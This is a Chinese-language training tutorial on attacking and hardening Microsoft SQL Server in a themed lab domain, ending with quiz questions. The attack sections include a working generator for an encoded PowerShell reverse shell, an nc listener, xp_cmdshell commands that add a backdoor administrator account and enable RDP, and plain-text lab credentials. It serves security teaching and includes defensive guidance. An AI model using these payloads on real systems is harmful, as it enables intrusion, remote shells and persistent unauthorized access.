經過前七天的 AD 攻防演練,我們已經掌握了網域的基礎滲透技術。今天要深入探討企業環境中極為常見的攻擊面:Microsoft SQL Server。MSSQL 不只是資料庫,更是通往 SYSTEM 權限的捷徑!我們將學習如何枚舉、攻擊並利用 MSSQL 的各種特性,最終取得伺服器的完整控制權。
在完成今天的實作後,你將能夠:
在開始之前,確保已經完成:
/etc/hosts
檔案MSSQL 服務通常會註冊特定的 Service Principal Names (SPN):
# 使用 GetUserSPNs 尋找 MSSQL 服務
impacket-GetUserSPNs north.sevenkingdoms.local/brandon.stark:iseedeadpeople \
-dc-ip 192.168.139.11 | grep -i mssql
輸出分析:
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 sql_svc
MSSQLSvc/braavos.essos.local:1433 sql_svc
# 快速掃描 MSSQL 預設埠
nmap -p 1433 -sV -sC 192.168.139.10-23 --open
# 深度掃描並執行 MSSQL 腳本
nmap -p 1433 --script ms-sql-* 192.168.139.22-23
關鍵資訊:
192.168.139.22
(CASTELBLACK) - SQL Server 2019192.168.139.23
(BRAAVOS) - SQL Server 2019# 掃描 MSSQL 服務
crackmapexec mssql 192.168.139.22-23
# 安裝 NetExec
pipx install git+https://github.com/Pennyw0rth/NetExec
# 測試已知憑證
netexec mssql 192.168.139.22 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local
SQL Server 中有兩種層級的身分:
SQL Server Instance
├── Logins (伺服器層級)
│ ├── sa (系統管理員)
│ ├── NORTH\samwell.tarly
│ └── NORTH\brandon.stark
└── Databases
├── master
│ └── Users (資料庫層級)
│ ├── dbo
│ └── guest
└── msdb
└── Users
├── dbo
└── NORTH\arya.stark
# 使用修改版的 mssqlclient
mssqlclient.py -windows-auth \
north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local
SQL> enum_impersonate
輸出解讀:
SQL (NORTH\samwell.tarly guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------------------- -------
b'LOGIN' b'' IMPERSONATE GRANT NORTH\samwell.tarly sa
欄位 | 值 | 含義 |
---|---|---|
execute as | LOGIN |
這是伺服器層級的模擬權限(不是資料庫層級的 USER) |
database | 空白 | 因為是 LOGIN 層級,所以沒有特定資料庫 |
permission_name | IMPERSONATE |
權限類型是「模擬」 |
state_desc | GRANT |
權限已被授予(不是 DENY) |
grantee | NORTH\samwell.tarly |
接收權限的人(你現在的身分) |
grantor | sa |
授予權限的人(系統管理員) |
-- 檢查目前權限
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
0 -- 非 sysadmin
-- 模擬 sa 登入
SQL> exec_as_login sa
-- 再次檢查
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');
1 -- 現在是 sysadmin!
-- 啟用 xp_cmdshell
SQL> enable_xp_cmdshell
-- 執行系統命令
SQL> xp_cmdshell whoami
nt service\mssqlserver
enum_logins
SQL (sa dbo@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
---------------------------------- ------------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
##MS_PolicyEventProcessingLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
##MS_PolicyTsqlExecutionLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
NORTH\sql_svc WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\SQLWriter WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\Winmgmt WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\MSSQL$SQLEXPRESS WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
CASTELBLACK\vagrant WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
BUILTIN\Users WINDOWS_GROUP 0 0 0 0 0 0 0 0 0
NT AUTHORITY\SYSTEM WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
NT SERVICE\SQLTELEMETRY$SQLEXPRESS WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
NORTH\jon.snow WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NORTH\samwell.tarly WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
NORTH\brandon.stark WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
SQL (sa dbo@master)>
欄位 | 含義 | 重要性 |
---|---|---|
name | 登入帳號名稱 | 識別目標 |
type_desc | 帳號類型 | 判斷認證方式 |
is_disabled | 是否停用 (0=啟用, 1=停用) | 確認可用性 |
sysadmin | 系統管理員 (1=是) | 🔴 最高權限 |
securityadmin | 安全管理員 | 管理登入和權限 |
serveradmin | 伺服器管理員 | 伺服器配置 |
setupadmin | 安裝管理員 | 安裝相關 |
processadmin | 處理程序管理員 | 管理 SQL 程序 |
diskadmin | 磁碟管理員 | 管理磁碟檔案 |
dbcreator | 資料庫建立者 | 建立/修改/刪除 DB |
bulkadmin | 大量插入管理員 | BULK INSERT 權限 |
擁有 sysadmin = 1 的帳號:
├── sa (SQL 內建管理員)
├── NORTH\sql_svc ⚠️ (SQL 服務帳號)
├── NT SERVICE\SQLWriter (系統服務)
├── NT SERVICE\Winmgmt (WMI 服務)
├── NT SERVICE\MSSQL$SQLEXPRESS (SQL 服務本身)
├── CASTELBLACK\vagrant ⚠️ (本機管理員)
└── NORTH\jon.snow ⚠️ (網域使用者)
enum_impersonate
SQL (sa dbo@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------------------- ----------------------------
b'USER' master IMPERSONATE GRANT NORTH\arya.stark dbo
b'USER' msdb IMPERSONATE GRANT NORTH\arya.stark dbo
b'USER' msdb IMPERSONATE GRANT dc_admin MS_DataCollectorInternalUser
b'LOGIN' b'' IMPERSONATE GRANT NORTH\samwell.tarly sa
b'LOGIN' b'' IMPERSONATE GRANT NORTH\brandon.stark NORTH\jon.snow
配置 | 可能原因 | 風險 |
---|---|---|
samwell.tarly → sa | 「暫時」給管理權限,忘記移除 | 任何人拿到 samwell 密碼就能成為 sa |
brandon.stark → jon.snow | 代理或備援設定 | brandon 被入侵 = jon.snow 被入侵 |
arya.stark → dbo | 應用程式需求 | 配合 TRUSTWORTHY 可完全控制 |
-- 以 arya.stark 連線
mssqlclient.py -windows-auth \
north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
-- 切換到 msdb(有 TRUSTWORTHY 屬性)
SQL> use msdb
-- 模擬 dbo 使用者
SQL> exec_as_user dbo
-- 現在可以執行命令了!
SQL> xp_cmdshell whoami
為什麼 TRUSTWORTHY 很危險?
Linked Servers 允許 MSSQL 查詢遠端資料庫:
CASTELBLACK (192.168.139.22)
↓ Linked Server
BRAAVOS (192.168.139.23)
↓ 可能還有更多...
mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local -show
-- 連線到 CASTELBLACK
SQL> enum_links
[*] Linked servers:
BRAAVOS SQL Server jon.snow → sa (對應到遠端的 sa!)
-- 使用 linked server
SQL> use_link BRAAVOS
-- 檢查身分
SQL> SELECT SYSTEM_USER
sa -- 在 BRAAVOS 上是 sa!
-- 啟用 xp_cmdshell
SQL> enable_xp_cmdshell
-- 執行命令
SQL> xp_cmdshell whoami
essos\sql_svc -- BRAAVOS 的服務帳號
建立 PowerShell payload:
#!/usr/bin/env python3
import base64
import sys
if len(sys.argv) < 3:
print('usage : %s ip port' % sys.argv[0])
sys.exit(0)
payload = """
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])
byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
執行:
# 產生 payload
python3 gen_ps_shell.py 192.168.139.136 4444 > ps_payload.txt
# 啟動監聽
nc -lvnp 4444
# 在 MSSQL 執行
SQL> xp_cmdshell 'powershell -exec bypass -enc <base64_payload>'
-- 建立本機管理員
SQL> xp_cmdshell 'net user hacker P@ssw0rd123! /add'
SQL> xp_cmdshell 'net localgroup administrators hacker /add'
-- 啟用 RDP(如果需要)
SQL> xp_cmdshell 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
Event ID | 描述 | 嚴重性 |
---|---|---|
15457 | xp_cmdshell 配置變更 | 🔴 高 |
17810 | 登入失敗 | 🟡 中 |
18456 | 密碼驗證失敗 | 🟡 中 |
33205 | SQL 稽核事件 | 🟢 低 |
設定項目 | 檢查指令 | 建議值 |
---|---|---|
xp_cmdshell | sp_configure 'xp_cmdshell' |
0 (停用) |
TRUSTWORTHY | SELECT name, is_trustworthy_on FROM sys.databases |
0 (關閉) |
Impersonation | 查詢 sys.server_permissions |
最小化授權 |
Linked Servers | sp_linkedservers |
移除不必要 |
服務帳號 | 檢查服務設定 | 使用 gMSA |
-- 停用 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
-- 關閉 TRUSTWORTHY
ALTER DATABASE msdb SET TRUSTWORTHY OFF;
-- 移除不必要的 Impersonation
REVOKE IMPERSONATE ON LOGIN::sa FROM [NORTH\samwell.tarly];
-- 刪除 Linked Server
EXEC sp_dropserver 'BRAAVOS', 'droplogins';
-- 啟用登入稽核
EXEC xp_instance_regwrite
N'HKEY_LOCAL_MACHINE',
N'Software\Microsoft\MSSQLServer\MSSQLServer',
N'AuditLevel',
REG_DWORD,
3; -- 成功和失敗都記錄
完整的 MSSQL 攻擊路徑:
1. 枚舉 SPN → 發現 MSSQL 服務
↓
2. Kerberoasting → 取得 sql_svc hash
↓
3. 破解密碼 → 取得初始存取
↓
4. Impersonation → 提升為 sa
↓
5. xp_cmdshell → 系統命令執行
↓
6. Linked Server → 橫向移動
↓
7. PowerShell → 完整 Shell
立即執行
短期改善
長期規劃
弱點 | 可能性 | 影響 | 風險等級 | 緩解措施 |
---|---|---|---|---|
弱服務帳號密碼 | 高 | 極高 | 🔴 嚴重 | gMSA/強密碼 |
Impersonation 濫用 | 中 | 高 | 🟡 高 | 權限審查 |
xp_cmdshell 啟用 | 低 | 極高 | 🟡 高 | 停用/監控 |
Linked Servers | 中 | 高 | 🟡 高 | 最小化/加密 |
TRUSTWORTHY | 中 | 中 | 🟠 中 | 全面關閉 |
#!/bin/bash
# mssql_enum.sh - MSSQL 自動化枚舉
DOMAIN="$1"
USER="$2"
PASS="$3"
TARGET="$4"
echo "[+] 枚舉 MSSQL SPNs..."
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" | grep -i mssql
echo "[+] 掃描 MSSQL 服務..."
nmap -p 1433 -sV $TARGET
echo "[+] 測試認證..."
crackmapexec mssql $TARGET -u $USER -p $PASS -d $DOMAIN
echo "[+] 嘗試連線..."
python3 mssqlclient.py -windows-auth "$DOMAIN/$USER:$PASS@$TARGET"
為什麼 MSSQL 的 服務帳號 (sql_svc) 一旦被竊取,風險往往比一般使用者帳號更大?
參考答案: 服務帳號通常擁有 sysadmin
或高權限角色,且常被多個服務使用。一旦被入侵,不僅能控管 SQL Server 本身,也可能進行橫向移動或取得 Windows 系統層級權限。
在什麼情況下,IMPERSONATE 權限可以直接變成系統完全淪陷?
參考答案: 當低權限使用者被授予 IMPERSONATE
→ 能模擬 sa
或具備 sysadmin
的帳號,再結合 xp_cmdshell
或 CLR assembly,即可直接取得主機系統命令執行權限。
如果在 msdb
資料庫中發現 TRUSTWORTHY=ON
,你會怎麼處理與檢查?
參考答案: 先檢查是否有應用程式或 SQL Agent Job 依賴該設定,若無必要立即關閉;同時審查 dbo
或擁有 IMPERSONATE 的帳號,因為這種組合能突破資料庫邊界、影響伺服器層級。
在 Linked Server 攻擊中,如果本機帳號是 sysadmin,但無法在遠端取得權限,可能原因是什麼?
參考答案: 沒有設定正確的 login mapping 或 Kerberos delegation,導致憑證無法傳遞;即使本機是 sysadmin,也不代表遠端自動授予相同權限。
如果你是防禦方,會如何監控與偵測 xp_cmdshell 的濫用?
參考答案:
xp_cmdshell
執行。sp_configure
設定是否遭異常開啟。sa
與 sysadmin
的關係?A. sa
是一種伺服器角色,等同 sysadmin
B. sa
是登入帳號;具備 sysadmin
伺服器角色通常代表最高權限
C. sa
與 sysadmin
皆屬於資料庫層級權限
D. sa
僅在 master
資料庫擁有最高權限
答案:B
解析: sa
是 SQL 登入帳號(Login),常預設隸屬 sysadmin
伺服器角色;sysadmin
是伺服器層級最高權限的「角色」。二者不同層次,但 sa
通常擁有 sysadmin
。
msdb
設為 TRUSTWORTHY ON
且 dbo
可執行可提權物件,最大風險是?A. 允許跨資料庫查詢,無法提升伺服器層級權限
B. 允許 dbo
於伺服器層級執行操作,可能突破 DB 邊界
C. 只能在 msdb
內讀寫資料,不影響其他 DB
D. 僅影響遠端連線的 Kerberos 驗證
答案:B
解析: TRUSTWORTHY ON
可能讓資料庫內的安全界線鬆動,特定情況下 dbo
可影響伺服器層級(例如與簽章、所有者鏈結等結合)。這是高風險設定,建議關閉並審核依賴。
A. 有 IMPERSONATE
就等於能把憑證傳遞到遠端
B. Linked Server 一定使用本機 SQL 登入密碼轉發
C. 若未設定對應的安全內容(mapping/委派),請求可能以匿名或失敗收尾
D. 只要本機是 sysadmin
,遠端一定會用 sa
執行
答案:C
解析: Linked Server 是否能帶著正確身分到遠端,取決於安全內容設定(Remote login mapping、委派/憑證)。單靠本機 IMPERSONATE
並不足以自動傳遞有效憑證。
A. 讀取所有資料表
B. 直接在作業系統層級執行命令
C. 竊取 Kerberos TGT
D. 取得其他資料庫的擁有權
答案:B
解析: xp_cmdshell 可讓 SQL 查詢直接呼叫 Windows 命令,等同突破資料庫邊界,進入系統層級。
xp_cmdshell
的合規做法,何者最佳實務?A. 永遠停用,且不必留下任何審計
B. 需要時啟用,用畢立即停用,並以 SQL Audit/Extended Events 留下記錄
C. 長期啟用以利維運,但限制為 db_owner
可用
D. 啟用與否無關緊要,只要關閉 sa
即可
答案:B
解析: 最佳實務是「預設關閉、必要時短暫開啟、全程審計並快速關閉」。同時也應監控 show advanced options
與 xp_cmdshell
變更與使用行為。長期開啟風險高。